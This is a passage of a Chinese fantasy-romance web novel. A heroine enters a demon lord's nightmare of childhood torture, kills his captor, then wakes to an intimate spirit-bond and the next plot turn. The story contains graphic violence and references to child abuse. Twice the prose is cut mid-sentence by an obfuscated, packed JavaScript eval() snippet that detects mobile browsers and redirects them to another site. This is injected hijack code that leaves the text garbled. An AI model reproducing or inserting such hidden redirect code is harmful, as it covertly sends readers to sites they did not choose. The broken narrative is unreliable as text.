李贽走过去捏着他的下巴,强迫他抬起因脱力而低垂的头。 “你不是说想吃肉吗?我给你了,但是天下没有白吃的午餐,你当然也要付出代价。”李贽笑了笑,仿佛面前奄奄一息的不是一个人,而是待宰的年猪。 钟离渊早已疼得意识模糊。除了挨刀时候生理上本能的颤抖,对外界的一切都提不起任何反应。 然而,这个气息奄奄的男孩却以一种近乎慑人的目光盯着李贽,那眼神是冰冷又阴鸷,仿佛他才是居高临下的行刑者。 他甚至扯了扯嘴角,露出一个不能称之为笑的诡异表情,喉咙里轻飘飘地吐出几个字。 辞盈听不清,却看懂了他的唇语: “杀了我。否则,我保证你会后悔。” 李贽不屑地笑道:“杀你?太暴殄天物了。” 辞盈的手不自觉地攥紧,指甲深深嵌进掌心,渗出血丝都没察觉。一股说不清的情绪从心底翻涌到喉咙,堵得她喘不上气。 只是个梦而已。她在心里反复念叨,别冲动,这不是现实,只是钟离渊的噩梦。她只需等一个跟他独处的机会,想办法唤醒他就行。 那老道须发皆白,一脸奸相,谄媚地凑上前:“庄主,这小童的修为太刚烈,若每日吸取太多反而伤身。不如像这样每日吸一点,细水长流。庄主如今容光焕发,才短短几天就见了效。等将来吸光他的修为,这天下还不是庄主的囊中之物?” 李贽满意地点点头,又有些担心:“为何要划伤他?这么流血,他会不会提前死了?” “庄主有所不知。他的内力汹涌如江海,浩瀚如苍穹,实在太过深厚。虽然他服了我下的毒药,又被仙索锁住了琵琶骨,暂时使不出法力,但我猜想他恢复的速度必定快于常人,恐怕过几日便要反抗了。唯有这样每日损耗,才能让他自顾不暇,没有精神生出别的念头。” 老道把玩着手中的刀片,接着道:“至于被玩儿死,庄主放心,他的命可比咱们想象的还要结实得多。” 李贽抚掌大笑:“如此我便放心了,待我功成之日必不会忘了道长的襄助!” 老道面露喜色:“庄主洪福齐天!我愿意追随庄主……啊!” 他半句奉承话卡在嗓子眼里,不知从哪横空飞出一柄锋利的长剑,力贯千钧地刺进老道后背,如同刺破一块软绵绵的豆腐,轻而易举地将他捅了个对穿! 道袍瞬间染成一片血红,老道瞪大了浑浊的眼睛,不可思议地低头看自己肚子上捅出来的半截剑,来不及留遗言就站着见了阎王。 那长剑不作丝毫停留,倏地抽出老朽的身体,剑锋一转直刺向李贽的喉咙。 李贽反应极快,迅速飞身后仰, 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见他遍体鳞伤,辞盈心里一酸,想安慰两句,又不知道说什么,只好笑了笑道:“小渊别怕,这次真的是阿姐来了。” 钟离渊神情一滞,也不知是不是想起了什么。 李贽眼里凶光毕露,咬着后槽牙道:“原来你是来救这个小崽子的!” 辞盈懒得多废话,一跃而起,身形灵动至极,犹如烟云幻化,手中长剑流光溢彩,瞬间扫开一片血影。 她的剑法是墨让尘亲传,虽然练得不够精湛,也足以以一敌百、勇冠三军,奈何从前修为太浅,再好的剑法也发挥不出威力。 所谓一力降十会,钟离渊就是最典型的例子。他从不用花里胡哨的招式,单靠深厚的修为,杀敌便犹如探囊取物。 辞盈笔挺地站在横七竖八的尸体中央,苍劲的长剑直指李贽眉心:“我在这边本来只想积功德,不杀人的。可是对你们这种狗贼,杀光了,才能算功德无量。” 李贽面目狰狞地冷哼道:“小丫头,你未免太嚣张!”话音未落,他抽出腰间佩刀,带着劲力迅猛地劈下来,那刀刃上隐隐泛着红光,看来他这几天没少从钟离渊身上赚好处,招式竟十分狠辣霸道。 辞盈没硬接,长剑虚空地架了一下,游鱼似的从刀缝上溜走,一猫腰从侧面刺向李贽。他急忙避开剑锋,胸前长袍上却豁了一道口子,血红色星星点点地殷透出来。 蓦地,身后传来“咔哒”一声轻响。辞盈心里一凛,急忙转身,可还是慢了一步——一支袖箭擦着她的肩膀飞过,带起一串血珠。她顺势一剑,把地上那个还剩半口气放冷箭的侍卫,捅了个透心凉。 李贽好像怒气上头失了理智,冲上来举刀便砍。辞盈侧身欲躲,却没料到他只是虚晃一招,其实全身的劲力都蓄在左手袖中。 也不知他练的是什么邪功,左手骤然膨胀数倍,握拳竟有柚子那么大,结结实实一拳砸在辞盈心口,她像被击中的棒球,“嘭”地横飞出老远,重重撞在墙上。 疼。辞盈甚至觉得自己的身体大概是被打穿了,否则为什么会这么疼,好像五脏六腑都暴露在空气中,每一次呼吸都带着锥心之痛。 她瘫在地上,以为李贽一定会冲过来再补一刀,将自己剁成两半,没想到他却转身拐进耳室,取了一样东西出来。 镂空雕花,错金云气纹的银灰色鼎炉,底座透雕出三条腾空出水的蛟龙,炉底隐有青烟,果然是错金博山炉。 原来李贽三百年前就得了此物,怪不得他区区一个挖坟盗墓的竟能在修炼上有所成就。 只可惜毛用没有,三百年后逍遥山庄被钟离渊一夜屠尽,也没听说李贽能反抗出半点动静。 想到这里,辞盈有点儿想笑,可是胸口疼得好像已经碎成一片一片了,实在禁不起拉扯,便只能还给他一个嘲讽的眼神。 “你是他姐姐,是吗?”李贽阴恻恻地盯着他,语气带着胜利者的得意,“那就由你先体验一次慢慢被吸成干尸有多痛苦吧,也好让他亲眼看看,好好感受一下,什么叫绝望。” 35. 叫爷爷 他缓步踱至辞盈身前,抬手将炉鼎抛向半空。刹那间,以炉身为轴心,一道诡异的紫环在二人周遭亮起,宛如琉璃罩般将外界彻底隔绝,连空气都仿佛凝固在这诡异的结界中。 一直沉默不动的钟离渊忽然手臂猛地挣动了一下,那是想要将墙上粗头铁钉硬生生扯下的力道,可这一动,鲜血便从他雪白稚嫩的腕间汩汩涌出,滴答、滴答,砸在石板地上,晕开一朵朵刺目的红。 “终于知道生气了?”李贽笑得癫狂,鼻梁上的刀疤在笑纹里扭曲成蜈蚣般的形状,“小东西,我还当你是不知生气的傻子呢。可不是么?两个包子就骗得回来,不是傻子是什么?还妄想我带你找娘?哈哈哈哈……” 他笑得直不起腰,好半天才敛了笑,阴恻恻道:“别急着上火,好戏还在后头。今日我不吸你的修为,专吸你姐姐的——也不枉她特意跑来替你送死一。” 钟离渊坚毅又白嫩的小脸终于露出了愤恨的神色,徒劳地挣了两下手臂,鲜血浸透了袖口衣襟。 错金博山炉外壁渐渐镀上了一层稀薄的淡紫色,像个烧热的水壶似的嘶嘶冒烟,李贽掌心贴在炉壁上施力,辞盈的修为果然开始源源不断地流向炉中,再过渡到李贽身上。 他微眯着眼,好像泡了个热水澡,一副舒服得快要升天的模样,洋洋得意了一会儿,忽然脸色骤变,不可置信又惊恐万分地瞪着辞盈:“你……” 不知怎的,他的手被死死地吸在了炉壁上。 李贽用尽全身的力气想要把手从错金博山炉上扯下来,几乎要将手掌的皮肉撕开却也无济于事,仿佛他的手掌底下生下来就连着一个炉子,浑然天成,密不可分。 而他体内的灵力正在以极可怕的速度流失,就像悬崖顶上的瀑布倾泻而下,不可阻挡地流向面前穿着红嫁衣的女疯子。 “你做了什么?这不可能!你用了什么妖术!” 李贽怒不可遏,一张扭曲的脸红了又紫,紫了又白,跑马灯似的变了好几次。 辞盈依然维持着一滩烂泥的姿势,脑袋靠在墙上,斜睨着他:“人丑就要多读书。如果你也被罚过收拾一整个藏经阁的书,你就会知道很多别人不知道的冷知识,比如——错金博山炉是可以反噬的。” 也不知道水云剑宗的藏书阁里哪来那么多莫名其妙的工具书。她当年在里头百无聊赖地乱翻瞎看,就跟孙悟空吃上天庭蟠桃差不多,这个咬一口,那个啃两下,没想到还真能派得上用场。 错金博山炉逆行倒流,很快便将李贽抽了个半空,他两条腿止不住的打哆嗦,声音虚得像饿了七天,颤颤巍巍地开始讨价还价:“小崽子的修为已经全都被你拿走了,你放了我,我让外头的人放你们离开。” 辞盈冷笑:“你觉得你还有资格跟我谈条件?” 李贽还想再说,忽然“扑通”一声跪在她面前,倒不是他想跪,是实在站不住了。 他面如死灰,瘫坐在地,手仍黏在炉壁上,挂着两条面条一样绵软的胳膊,虚弱地说:“那小崽子的修为邪性凶残,你毫无防备吸了这么多,经脉定然已伤。若再把我吸干,你必死无疑……”他费力地倒了几口气,又道,“何必两败俱伤?不如你放了我……” 辞盈忽然笑了:“不如我放了你,你把山庄送给我如何?” 李贽见有转机,忙不迭应承:“可以!可以!只要你肯高抬贵手,什么都给你!” 辞盈似乎有些满意,又道:“那你先跪好,给钟离渊磕个头,叫声爷爷。” 李贽略一犹豫,看了看她似笑非笑的脸,终于狠下心朝着钟离渊的方向跪好了,无奈胳膊还吊在炉壁上扯不下来,只好撅着屁股抻长脖子,憋得脸都红了,额头才勉强磕到地面上,又怕不够,连着磕了三五下,嘴里不停地叫爷爷。 钟离渊惨白的小脸却毫无波澜,只神情复杂地盯着辞盈。 “嗯,乖孙子。”辞盈道。 李贽顶着一脑门灰,卑躬屈膝道:“请女侠赶快收手吧……” 辞盈仿佛听了个笑话,嗤笑一声:“收手?姓李的,你在做什么白日梦?” 李贽闻言一愣,随即猛地抬起头,眼中喷出恨毒的火焰:“你……你竟敢耍我?!” “怎么样,希望破灭的感觉还算美妙吗?”辞盈的脸色冷了下来,两手撑着地面,摇摇晃晃地站起身,蔑视地俯瞰他:“你以为你还配活着吗?人渣。” 这是钟离渊的梦,是他内心最深处的恐惧。 在现实世界里,在三百年前,没有从天而降的姐姐,他一个人在这不见天日的地狱里,熬过了数不清的虐待与折磨。每天那扇门都会准时打开,千刀万剐,痛不欲生,看不到尽头,像一场永远不会醒来的噩梦。 不可原谅。 辞盈握剑的手不受控地颤抖,只好用力再握紧一点,眼中是同归于尽般的决绝。 此刻她不想考虑后果,只想把钟离渊从内心最深的恐惧中拉出来,让他再也不用陷入这样的噩梦。 李贽的脸颊已经开始凹陷,面目可怖地嘶吼:“你难道不要命了吗?!” 辞盈呼吸越来越困难,脸上呈现一种病态的红润,显然身体已经在承受的极限,她却依然没有停下来的意思。 “等一下。” 钟离渊终于开了口。他犹豫不决地望着辞盈,眼里满是疑惑:“你……究竟是谁?” 为什么这一身嫁衣的女子他从未见过却仿佛再熟悉不过,为什么此刻,他如此害怕她会死? 钟离渊心慌得厉害,哪怕他被李贽绑起来捅刀子也没有这样怕过。 那女子转过脸来,目光平静又温柔地望着他,笑道:“阿姐替你做主,杀了这些欺负你的混账。” 钟离渊怔怔地望着她,胸腔涌动着说不清道不明的情绪。 辞盈缓步走到李贽面前,静静地看着他脸和手上的肉皮开始出现褶皱,仿佛瞬间苍老了几十岁。 忽然,像断电了一样,笼罩着他们的紫色光圈骤然消失,错金博山炉失去了法力支撑,“当啷”一声掉在地上。 地牢陷入一片死寂。 李贽奄奄一息地瘫着,艰难地喘着气。 辞盈冷冷地说:“我又改主意了。” 李贽灰暗的眼珠又骤然亮了一瞬,下巴哆嗦着想求饶,却说不出话,嗓子里只挤出嘶哑可怖的“啊啊”声。 辞盈脚踩在他脑袋边上,居高临下地审视着他。 “我想了想,还是将你劈成两半死得比较彻底。” 剑光一闪,飞溅的血滴划破凝重的空气。 李贽徒劳地张了张嘴,被吸得干涸的喉咙已经没有足够的血浆可喷,只潺潺地浸湿了衣领便死透了。 地动山摇之中,辞盈看见钟离渊惊愕的目光,却听不清他说什么。 整个世界仿佛瞬间崩塌,变成巨大的筛盅。她像筛盅里的骰子,被颠来倒去,晃得晕头转向。 模糊的视线渐渐清晰,鲜红的纱幔,柔软的大床,还有枕边人布满血丝的眼。 “你醒了。”她高兴地想坐起来,胸口却传来撕裂般的疼,脑袋又沉又涨,连喘气都费力,只能躺着,忍着五脏六腑里乱成一团、几乎要炸开的真气。 刚见过钟离渊小时候的娃娃脸,眼前这张脸便显得危险许多。 眼尾更长,眯起来显得妖邪魅惑,像只修炼千年的狐狸精。下颌线更锋利,总释放出一种老子很危险生人勿近的信号。 比如现在,他眼中传递的信号大概就是:你想死吗? 她有点儿委屈,老娘为了叫醒你差点儿把命搭进去,你怎么还一副债主讨债的模样? 钟离渊抬手把桌上那面还在作妖的铜镜打成了碎渣,然后看也没看墙角瑟瑟发抖的女鬼,冷冷地吐出一个滚字。 女鬼滚得比风还快。 “为什么要这么做?” 他终于开口,依然是兴师问罪的语气,脸色阴沉得要死,像暴风雨前乌云密布的天空。 不知道为什么,她明明有理,可一看见他猩红的眼睛就有点儿怂了,也不知道他到底在生什么气。 噢,大概是因为她把他灌醉,才害得他做了噩梦。 她刚想卖乖说些软话,喉间忽然涌上一股铁锈味。腥甜从嘴角溢出,她本能地抹了一把,竟然是血! 怎么做梦受伤还能当真的吗?! 早知道刚才就不硬撑着狠狠装B了,鬼才要跟人渣同归于尽啊! 钟离渊的眼更红了,好像要吃人。他一把抓住她的肩膀,咬牙切齿:“谁允许你进我灵识的?谁允许你随便插手我的事?” 噢——原来如此。 钟离渊,令人闻风丧胆的天下第一大魔头,小时候竟然被人猥亵、囚禁、虐待,这些屈辱一定是他最隐秘最不愿被人揭开的伤疤,而她却亲眼目睹了这一切,甚至还明目张胆地掺和进来…… 再看他阴沉的脸,甚至气得微微发抖。 完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111012|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这次可能真的会被他杀人灭口。 “其实你不必介意的。”她急忙解释,“你当时还是个孩子,都是那些人渣的错,是他们该死!你是受害者,不需要觉得丢脸……唔……” 这货杀人灭口的方式竟然是把人亲死吗? 后面两个字被他温热的唇齿搅得粉碎。她被这强硬的吻堵住几乎要窒息,想挣扎,透口气却被他攥住手腕按在床里,死死压在枕头上,连一丝反抗的余地也没有。 她蹬了蹬腿,在他肩头徒劳地捶了两下,觉得自己大概是要缺氧而死了,索性自暴自弃躺着等投胎。 谁知他忽然松了口,像是良心发现。 可她觉得,大概是用不着钟离渊亲自动手了。身体因为毫无准备地吸入大量修为而越来越滚烫,大概是能把体温计烫坏的程度,连呼吸也变得异常困难。 “对不起了,钟离渊,” 辞盈像条沙滩上的鱼,有出气儿没进气儿似地说,“你救过我四次,我欠你四条命,如今只能还你一条,咱俩两清,怎么算都是我赚了。但是也没办法,你就吃点儿亏吧,谁叫你倒霉呢,比我还倒霉。” “你想得美。” 钟离渊的火气似乎被那个吻浇灭了些,心情好了不少。他勾了勾嘴角,一只手搂住她,额头贴了上来。 一阵酥麻如触电般从头皮窜到脚趾,辞盈不可抑制地哆嗦了一下,猛地推开他,磕磕绊绊地问:“干……干什么?” “救你的小命。”他不容分说,另一只手掌住她的后脑。 辞盈的脑子“咻”地一片空白。 她大概知道这种浑身酥麻,又痛又爽的感觉是什么了,丝丝缕缕的神识被紧紧缠绕,如春雨浸润泥土之中,无孔不入,横冲直撞,不留余地。 她像跟着火花一飞冲天,失去了意识。 再次醒来时,身上的滚烫退了些,腹脏内乱窜的真气也平稳了,只有胸口的伤还丝丝拉拉地疼。 “醒了?”钟离渊手臂支着脑袋,侧躺在她身边,眼神柔和了许多。 “那个……我能问问刚才那是什么吗?” “神交啊,不然怎么帮你消化修为。”钟离渊含着一丝玩味的笑意看她,“喜欢吗?” 辞盈尴尬地咬了一下嘴唇,嘴硬道:“还行,就有点儿累。” 其实不是有点累,是比加了一天一宿班还累,但是她不想承认。 钟离渊淡色瞳孔骤然深了几分:“你说什么,还——行?” …… 好像说错话了,她眼睁睁看着钟离渊的脸又压下来。 “等下,我不是那个意思……” 话没说完,她整个人仿佛被电流击穿了。 钟离渊如同蛊咒的耳语,轻柔又魅惑: “嘘——专心。” 仿佛被柔软的海水包裹,每一根神经都在忍不住地颤栗,她沉沦在汹涌的巨浪中溺水,本能地想要抓住浮木般抱住钟离渊,不争气地飙出了眼泪。 然后,又晕了过去。 再睁开眼,她确实不再发热了,甚至觉得自己快要凉凉了。不只是累得要死,浑身的骨头都软绵绵散了架,支棱不起来还四处漏风。 “这回呢,还来吗?”钟离渊倒像个没事儿人似的精神百倍,一脸坏笑。 不是,怎么回事?他不是应该更虚吗?这不科学啊!难道人活的时间越久,这方面能力就越强? “不来了不来了。”她打了个激灵,合理怀疑这货能面不改色地坚持折腾到她化成一滩水。 钟离渊手指背轻抚过她的脸颊,又将几缕湿润的碎发拢到她耳后,声音凶狠,眼神却温柔: “以后就算是在梦里,也不许再冒失受伤。否则——”他凑过来贴着她的耳垂,气息温热,“再有下次,我就一直不停,做到你死,记住了吗?” 辞盈眼睛猛地睁大。 这狗东西竟然拿神交威胁人,是不是在塔里憋三百年憋成变态了? 早知道就不救他,让他被那破铜镜吸成植物人算了。 钟离渊说完,修长的手指就开始在她脑袋上揉来揉去,跟撸狗似的,指缝穿过长发的动作轻缓,滑过头皮的力度又恰到好处。 不愧是托尼老师,舒服得让人犯困,她一不留神就睡了过去。 这一觉一直睡到日上三竿。她枕着钟离渊的胳膊醒过来,蹑手蹑脚地越过他的身子往床下爬,忽然脚腕上一紧,被人往后一拉,又拖回了床里。 36. 牙更疼了 “我说这位少侠,你可得懂点节制。”她抱着被子缩在床角,双臂交叉摆出防御姿势,“这都什么时辰了?褚庄主在外头指定等得望眼欲穿。咱俩再不出门,人家非得以为咱俩死在屋里,保不齐就要来砸门了。” 他漫不经心地耸耸肩:“我不在乎。” “我在乎!”辞盈瞪他一眼,去梳妆台前将乱成鸡窝的头发匆匆打理一番。钟离渊又恢复了懒洋洋的模样,斜倚床头,目光黏在她身上,静静看她梳头。 他不杀人时,活脱脱像个游手好闲的贵公子,总透着股慵懒劲儿,随便坐哪儿都得找个靠头,仿佛下一秒就要钻回被窝补回笼觉。 就像此刻,他抱臂陷在红绸幔帐里,仿佛真是个新婚郎君,醉心欣赏自家娘子梳妆,眼神黏在她身上挪不开,神情却闲散悠然,甚至能瞧出几分藏不住的甜蜜。 有那么一瞬间,辞盈心头掠过一种恋爱的错觉。 而相思咒三个字一旦从脑海里冒出来,便如同一盆冷水兜头泼下,浇灭她所有热情和幻想。 恋爱脑是没有好下场的。 没了铜镜,辞盈凭着感觉梳头,摸到头顶空荡荡,才发现少了样东西。一回头,正见钟离渊指间夹着那支精巧的流苏蝴蝶珠钗,像逗弄玩具似的晃来晃去。他手指细长,哪怕玩根珠钗,都灵活又好看。 辞盈莫名发慌,手心朝上:“还给我。” 钟离渊晃悠悠走过来,为她插好珠钗,左右端详位置:“这钗有什么稀罕?这么宝贝。你若喜欢首饰,我送你一间铺子。” “这可是避毒钗,是我师……”她卡壳,“失而复得的东西,自然宝贝。” 呼,要不是反应快,恐怕会惊喜收获一把珠钗灰。 她胡乱弄了弄头发,准备出门,拉了两下,发现门居然从外面閂住了,上头还贴了张不知道什么符。 辞盈啧了一声,这褚庄主不厚道。 门闩防不防得住鬼还两说,万一他俩真是一对儿菜鸡,那连退路都被堵死了。 钟离渊皱眉,刚准备暴力拆迁,辞盈道:“算了吧,他只不过是胆小,别吓到其他人。” 见他还是一脸老子要点火烧了这狗洞的表情,辞盈脑筋紧急转了两圈,换上一脸崇拜:“你能教我隔空御物吗?就是隔空把外面的门闩打开?哎呀,忽然好想学,我御剑都会掉下来呢。” 钟离渊在她脑门上弹了一下:“等我烧了这房子再教你怎么把姓褚的扔上天。” “不行,”辞盈可怜巴巴地说,“你忘了我的三千功德吗?就当帮我个忙,饶了他吧,没准儿也能算是我的功德一件呢。” 钟离渊想了想,半真半假地勾着唇角:“这好办,我现在就要去杀三千人,你觉得如何?” 辞盈脱口而出:“什么如何,你有病啊,不许去。” “好,那我不杀了。”钟离渊轻描淡写地说,“任务达成。” …… 你在这卡bug呢天才? 他像是格外开心,眼睛亮入藏星:“你骂我有病,你现在不怕我了?” 辞盈自己也没察觉,她现在跟他说话早就不过脑子了。从前在水云剑宗,哪怕跟墨让尘说话,她都得尽量守着规矩,否则便是不尊师长。 不知从何时起,这个杀人比喝水还容易的魔头,反倒成了她能放肆的对象。 尤其在梦里,见过那张娃娃脸还好骗的钟离渊之后,他那神秘高冷的形象,早就在梦碎的一刻跟着灰飞烟灭了 “嗯,你有什么好怕的。” “那你能把相思咒给我解了吗?” “不能。” 钟离渊本就没抱希望,被拒了也无所谓地笑笑,俯身到她耳边嘀咕了几句。 辞盈狐疑地斜睨他:“你耍我呢?水云剑宗根本不是这么教的。” 钟离渊无辜摊手:“这就是御物的要诀,你大声念三遍,心诚则灵。” 辞盈:“不可能,太离谱了,你当我傻吗?” “不成功你可以找我。”钟离渊那副信不信由你的表情,看得人心里直冒火。 片刻安静后,剑光一闪,门闩从门缝里被齐刷刷劈成两半。 去他的隔空御物,还是剑靠谱。 褚庄主在游廊上急得像热锅上的蚂蚁,坐立难安。一见她,立马迎上来追问:“如何?道长可查到什么了?” 辞盈如实相告,只隐去了游乘风的名字。褚庄主更急了,抓着她的胳膊问:“那怎么办?我儿的魂魄要去哪里找回?” “待我回去禀报师尊,一定给你个说法。” 褚庄主心绪不宁地摸了摸胡子,仿佛还有什么难言之隐,犹豫不决地说:“既如此,我还有一事,请仙长借一步说话。” 辞盈脑子里一半装的是游乘风的破烂事儿,另一半被钟离渊的神交搅成了八宝粥,再加上挨了李贽一拳的伤还没好,反应慢了何止半拍。 直到褚庄主手持毒针架到她脖子上,她都没想起来躲。 她不理解地看了看褚庄主:“你活够了?也没必要选这么惨烈的自杀方式吧。” 褚庄主听得一愣,以为她在放狠话吓唬自己,低声道:“有人去飞鹰堂举报说是一男一女两个外地人杀了他们少主。我猜就是你们吧?” 辞盈嗯了一声,用比褚庄主更微小的音量说:“你快放开我,我假装没事发生,再晚就真来不及了。” 褚庄主叹了口气:“你也别怪我,飞鹰堂今天早上来跟我要人,如果不把你们交出去,我全家都得死。” 他自知武力不强,谨慎地毒针握得更紧了些,威胁道:“我知道你们姐弟二人法力高强,可是我这针上淬了巨毒,你最好别轻举妄动,否则……” 辞盈的耳廓忽然动了一下,心里咯噔一声——完了,来不及了。 疾风骤起,褚庄主连眨眼的功夫都没有,鬼魅般的影子已冲到近前。他甚至没看清是什么,只觉得头皮一紧,整个人竟被揪着头发扔了出去。那力道大得吓人,仿佛他不是个一百多斤的活人,而是只扑腾翅膀的鸡崽子,被随手一抛就飞上天。 辞盈仰着脖子,目送褚庄主“啊啊啊”尖叫着飞上天,又“啊啊啊”惨叫着往下落,落地之前被钟离渊一脚踹出去,横飞了八丈远。 院墙“轰”地被撞塌,飞烟尘土里趴着个奄奄一息的褚庄主。墙外头传来几声咳嗽,有人呸掉嘴里的灰,抱怨道:“我这身衣裳可是新做的,弄成这样你们得赔我。” 这世上总有些人,往那儿一站就是一身正气的具象化,比如墨让尘;也有人就算满身狼狈,鼻青脸肿,也称得上是个温润如玉的谦谦君子,比如江羡之;还有些人,哪怕穿得像乞丐,也让人觉着是个富家出逃的少爷,比如钟离渊。 当然还有人,不必开口哭穷,你一看他整个人就是个大写的衰字,甚至想送他俩馒头,比如眼前这位。 任平生灰头土脸地站在碎砖头堆里,背着个旧包袱,胡乱扇着眼前的尘土,一脸倒霉样,扔进难民堆里就挑不出来。 他身后站着几个瑟瑟发抖的家丁,见庄主被打个半死,吓得大气也不敢喘,更别提上前一步,只能噤若寒蝉地站成一排无声的省略号。 辞盈一见他就牙疼,没好气道:“你怎么又来了?” “他们家马驹子要生了。” “所以呢?” “我来接生。” “……” 牙更疼了。 “您还真是全才。”辞盈无语。 钟离渊目无下尘地瞥了一眼已经昏迷不醒的褚庄主,转而问任平生:“你能把他救活吗?” 家丁们眼睛都亮了:庄主还有戏? 任平生挽起袖子走过去,把压在褚庄主身上的碎砖块扒拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115937|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,简单看了看,头摇得像拨浪鼓:“不可能了。” 钟离渊皱了皱眉,不耐地说:“能叫醒了有一口气就行。” 任平生哼道:“怕他死你倒是下手轻点儿啊。你这一脚下去,别说我,就是直接把太上老君的炼丹炉塞他嘴里都没用。想让他活,你要么直接去九重幽冥暗渊挖了烛龙之心来起死回生,要么干脆送他一碗孟婆汤重新投胎还更能快点儿。” 钟离渊淡淡道:“谁说我怕他死了?” “那你还……” 他扳过辞盈的肩膀,像转陀螺似的把她转了个圈,三百六十度检查确认没受伤,才懒懒地答:“救活了再杀一次,这么死太便宜他了。你这山野兽医,果然无用。” 众家丁:“……” 最后一句话戳中了任平生的肺管子,他鼻子里呼呼喷气,像头被惹毛的牛。不知从哪儿摸出颗素纸包裹的小药丸。他抬着清瘦的下巴:“你知道这是什么吗?你肯定不知道,什么都不懂还敢瞧不起我。” 钟离渊连余光都没分给她,只含着笑意凝望辞盈:“我们走吧。” 任平生不得不自问自答:“这个!可是我研制的理气健脾舒筋活络五福补心大还丹!虽说救不活那个死人,却能给你这位小美人治病。” 钟离渊眉梢一动:“治什么病?” 任平生像举了一堂课手终于被点名的小学生,瞬间来了劲头,故弄玄虚地卖弄起来:“这位姑娘不久前刚受重伤,还伤及肺腑,差点儿送命,我可说对了?” 辞盈感觉到钟离渊扶着她肩膀的手,不易察觉地颤了一下,随即握得更紧。再看他脸上,却依旧风平浪静,仿佛什么都没发生。 “接着说。” “你看她气色苍白,一脸病容,明显是气血不畅,脉息虚浮。眼周还有些青紫,想必是你用大量法力强行注入她体内,才导致血瘀心结。虽说保住了性命,却伤了她的元气根本。” 钟离渊的脸色越来越难看,像饿了三天的狼,随时都可能发狂。他松开辞盈,目光如刀剜着任平生,寒声道:“所以呢?” “任大夫,你有话直说吧。”辞盈真怕他再扯两句废话,真能被钟离渊当场拧下头来。 任平生却不慌不忙地一笑,露出一口整齐的小白牙,高举手中的小药丸: “看!现在有了它,一切都不一样了!只要让你的小美人吃了我这理气健脾舒筋活络五福补心大还丹!保准她百病全消,精神焕发,生龙活虎,貌美如花!既能上房揭瓦,又能下河捉虾,文能陪你花前月下,武能替你杀人如麻……哎呀我怎么飞起来啦啊啊啊!” 任平生如同在巨大的鼓风机背面,被一股突兀又强悍的力量吸得飞扑出去,像只慌不择路的纸风筝,在钟离渊面前结结实实摔了个狗啃屎。他身后的家丁们慌忙抱成一团,七手八脚地扒着树桩才勉强没被一起带飞。 钟离渊揪住任平生的衣领,高高拎起,勾了嘴角却不像在笑,语气森然:“如果你敢骗我,我会弄死你很多次,包括你的家人。” 任平生年轻的眼睛里竟然有沧桑一闪而过,他瘦削的下巴上胡茬还泛着青涩,那一刻的神情却像个久经风霜的老人,绷直了嘴唇,喃喃道:“我家人早就死光了。” 钟离渊没空搭理他,只拿了药丸,随手将他丢在地上。任平生像路边被暴雨蹂躏了一夜的野花,两眼发直,宽大的衣衫瘫成了一坨无人问津的忧伤。 钟离渊仔细打量手里的小药丸,贴在鼻尖闻了闻,还是不放心,攥在手里犹豫不决地望着辞盈。 忽然他眼皮一抬,什么东西从高空中极速俯冲下来,被钟离渊两只手指捏住了翅膀,那畜生吓得炸了毛,扑腾腾挣扎着落了几根雪白的羽毛,圆滚滚的脑袋瞪着愣愣的大眼睛,像地主家的傻儿子。 辞盈吃了一惊——雪鸮能飞这么远,莫非水云剑宗出了事? 37. Gogogo起飞喽 “别伤害它。”辞盈连忙将炸了毛的雪鸮从魔爪里解救下来,将毛茸茸的爪子上捆着的细纸卷取下,一撒手,小东西立刻逃命似地扑腾没影了。 “这是什么?”钟离渊好奇地问。 “水云剑宗传信用的。”她指尖捏着纸卷,心里七上八下,一层层展开——江羡之漂亮的字迹赫然入目: 大事不妙!萧阳要来向师尊提亲了!速回速回速回速回! …… 江羡之你要不要看看自己在说什么? 喜欢男宠的不是九曜派曹不义吗?以前没听说玄武教萧阳也有这爱好啊!传闻他不是痴恋亡妻,独守空房一直没再娶吗?一把年纪了口味换得这么突兀吗? 辞盈忽然打了个寒噤。 好冷。 怎么感觉周围的空气仿佛迅速降到冰点?她一抬头便撞上钟离渊幽寒的眸子。 嗯,有捕捉到危险信号。 他俯身与她平视,像要穿透她的眼睛钻进心里,让人骨缝发凉。 “你师尊要成亲,怎么就‘大事不妙’了?” 温热的手捏住她的后颈,如同捏住待宰的兔子:“他成他的亲,为什么一定要你速回、速回、速回、速回?” 后面几个字几乎是从牙缝里挤出来的,一字一顿,带着咬牙切齿的意味。 辞盈被他逼近的目光盯得心里发虚,眼神飘忽不定:“那得问我师兄,字条又不是我写的。” 钟离渊眯起眼睛:“我去问他?” 稀疏平常的语气,无端让她听出了恐吓。辞盈连忙摇头:“我师尊又不喜欢男人,大概是……师兄怕他被抢亲了!” 钟离渊嗤道:“一个能被抢亲的男人,还需要徒弟去救,这么废物,你还理他做什么?” “话不能这么说。”辞盈一脸认真,“我总归是他的亲传弟子,师尊有事,我自然该尽心。再说还有游乘风的事,我本就打算回水云剑宗一趟。” 钟离渊听她编得合情合理,这才脸色稍霁。辞盈趁机赶紧打岔,一根一根掰开他的手指头,当着他的面儿笑嘻嘻地剥开纸,把药丸吞了下去。 钟离渊立刻将醋坛子抛到脑后,喉咙也动了一下,好像跟她一起吞了药似的:“你现在感觉如何?” “我还没咽下去啊大哥,”辞盈笑道,“不用担心,我相信任大夫……” 